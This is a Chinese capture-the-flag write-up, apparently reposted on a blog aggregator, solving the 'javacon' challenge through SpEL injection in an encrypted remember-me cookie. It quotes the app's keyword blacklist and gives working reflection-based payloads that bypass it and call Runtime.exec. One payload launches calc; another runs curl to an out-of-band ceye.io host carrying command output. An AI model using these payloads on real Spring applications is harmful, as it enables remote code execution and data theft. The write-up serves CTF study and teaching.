当前位置: 首页 > news >正文

code-breaking之javacon

 JAVACON 题目

此题 来自P神 的code-breaking中的一道Java题,名为javacon,题目知识点为SpEL注入

题目下载地址:https://www.leavesongs.com/media/attachment/2018/11/23/challenge-0.0.1-SNAPSHOT.jar

运行环境  

java -jar challenge-0.0.1-SNAPSHOT.jar

涉及知识

  • SpEL 注入
  • Java 反射机制
  • Linux 反弹 shell

访问 页面,是一个登录界面,请求参数中带有 jsessionid 。

 随便输入 admin   123 会提示 "登录失败 ..."

我们把 JAR 在 idea 里打开 ,目录结构大致如下

 spring 框架, 先看 下面的   application.yml  配置文件

spring:thymeleaf:encoding: UTF-8cache: falsemode: HTML
keywords:blacklist:- java.+lang- Runtime- exec.*\(
user:username: adminpassword: adminrememberMeKey: c0dehack1nghere1

此文件 分了三个模块    spring 定义了 HTML模板 UTF-8源码以及无缓存 ,keywords 定义了黑名单 ,过滤了 “java.lang”、“Runtime”、“exec.(”等 ; user 定义了 admin admin账号密码,还有一个 remembermeKey 的 value。

Spring 框架 关键点在于 Controller 也就是控制器,看到 MainController.class ,其中定义了ExpressionParser , 该属性在 getAdvanceValue() 函数中会调用来解析字符串内容,由此可知 getAdvanceValue() 是SpEL 注入的触发点:

@Controller
public class MainController {ExpressionParser parser = new SpelExpressionParser();...private String getAdvanceValue(String val) {String[] var2 = this.keyworkProperties.getBlacklist();int var3 = var2.length;for(int var4 = 0; var4 < var3; ++var4) {String keyword = var2[var4];Matcher matcher = Pattern.compile(keyword, 34).matcher(val);if (matcher.find()) {throw new HttpClientErrorException(HttpStatus.FORBIDDEN);}}ParserContext parserContext = new TemplateParserContext();Expression exp = this.parser.parseExpression(val, parserContext);SmallEvaluationContext evaluationContext = new SmallEvaluationContext();return exp.getValue(evaluationContext).toString();}
}

再看看是哪里调用了 getAdvanceValue() 函数,可以发现是在admin()函数中调用了,传递的参数是username 的值:

    public String admin(@CookieValue(value = "remember-me",required = false) String rememberMeValue, HttpSession session, Model model) {if (rememberMeValue != null && !rememberMeValue.equals("")) {String username = this.userConfig.decryptRememberMe(rememberMeValue);if (username != null) {session.setAttribute("username", username);}}Object username = session.getAttribute("username");if (username != null && !username.toString().equals("")) {model.addAttribute("name", this.getAdvanceValue(username.toString()));return "hello";} else {return "redirect:/login";}}

这里需要研究一下 如何这个username的值,先看注解为  /login 的login() 函数,其传入3个参数,第三个  remember-me 是非必须的,在第一个if 语句中 他会判断 username 和password 的值是否匹配,如果匹配 则会 通过  session.setAttribute("username")  来设置username ,但是再这之前会判断username的 所以无法在username 中写入我们的payload 。也就是说这里无法进行SpEL 注入。

再来看看主页面的代码逻辑即注解为“@GetMapping”的admin()函数。先判断remember-me是否为空,为空时直接调用session.getAttribute("username");获取session中即login()函数中设置的username再调用getAdvanceValue()函数,此时因为username是正确的用户名因此无法SpEL注入;若rememberMeValue不为空即login时选择了remember-me,则解码rememberMeValue值为username并通过调用session.setAttribute("username")来设置session中的username值,此时的username就可控了。

那么注入点的场景已经可以确定了:输入admin/admin并勾选remember-me选项登录后台,然后再修改cookie内容即可。

先登录到admin界面,看到会设置Cookie字段值为remember-me=MXPUSANQRVaBJYtUucUgmQ==

应该是一段base64 或者其他的加密  直接调用或复制加密代码  ,在他的代码中找到几个参数然后传入加密处理,执行完毕后和Cookie 字段值base64结果是一致的:

利用下mi1k7ea 师傅的图 将变量value从admin改为Mi1k7ea 得到加密值为4Hd10g7CuZZg5M1up1GExg==,放到cookie中发送报文,可以看到admin修改为Mi1k7ea,说明这里即为SpEL注入点:

 

构造payload

刚刚配置文件中的黑名单过滤了  java.langRuntimeexec(  ,没有思路 参考wp Code-Breaking Puzzles — javacon WriteUp - Ruilin (rui0.cn)

可以使用JAVA的反射机制来进行绕过,原理是因为通过反射机制的 forName() 和 getMethod() 登方法, 其参数是字符串因此可通过字符串拼接的方式来进行绕过黑名单。

Windows环境

本地弹计算器

String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("exec",String.class).invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(String.class.getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"});

但是这里需要改为SpEl的解析格式以满足Spring的解析条件,主要就是改一个T() 。在SpEL中,使用T()运算符会调用类作用域的方法和常量。

注意,以new String[]{"cmd","/C","xx"}这种形式定义命令是为了满足Linux下复杂命令构造的条件,通用。当然Linux下应该写为new String[]{"/bin/bash","-c","xxxxx"}

payload如下:

#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})}

加密后发送过去,SpEL注入成功:

 

回带flag

这里换下payload,读取本地flag文件,由于没有回显,需要外带出来,使用curl命令结合反引号执行系统命令并带回:

#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","curl xx.ceye.io/`dir`"})}

参考

Code-Breaking Puzzles — javacon WriteUp - Ruilin (rui0.cn)

 code-breaking全部题解及知识拓展 - 先知社区 (aliyun.com)

http://www.lryc.cn/news/15380.html

相关文章:

  • Android 字符串替换,去除空格等操作
  • 因“AI”而“深” 第四届OpenI/O 启智开发者大会高校开源专场25日开启!
  • CATCTF wife原型链污染
  • 浅谈Java线程池中的ThreadPoolExecutor工具类
  • 分析过程:服务器被黑安装Linux RootKit木马
  • 运动型蓝牙耳机推荐哪款、最新运动蓝牙耳机推荐
  • Python爬虫(9)selenium爬虫后数据,存入mongodb实现增删改查
  • gulimall技术栈笔记
  • vue3生命周期钩子以及使用方式
  • 以假乱真的手写模拟器?
  • 每日一题——L1-069 胎压监测(15)
  • 17_FreeRTOS事件标志组
  • 美团前端常考手写面试题总结
  • MyBatis基于XML的详细使用——动态sql
  • CMake编译opencv4.6
  • 数据分片(mycat)
  • 基于STM32设计的倒车雷达系统(超声波模块多方位测距应用)
  • Robot Framework + Selenium2Library环境下,结合Selenium Grid实施分布式自动化测试
  • 洛谷——前缀和与差分
  • 离线内网环境部署更新问题记录
  • 【Git】Git是什么?简单说说Git的工作机制?Git的常用命令有那些?
  • 《精通Spring4.x 企业应用开发实战》第1章 Spring概述
  • 【Spring Cloud Alibaba】003-Nacos 概述与单机搭建
  • 如何使用 API 工具做 Websocket 测试
  • 90%的人都理解错了HTTP中GET与POST的区别
  • 【C++】秋招实习面经汇总篇
  • 干货分享:2023欧美市场分析与机会
  • 介绍Kadence Elements元素模板:按您的方式设计网站
  • 物联网发展的重要通信技术Wi-Fi
  • OSS上传(Java和Js)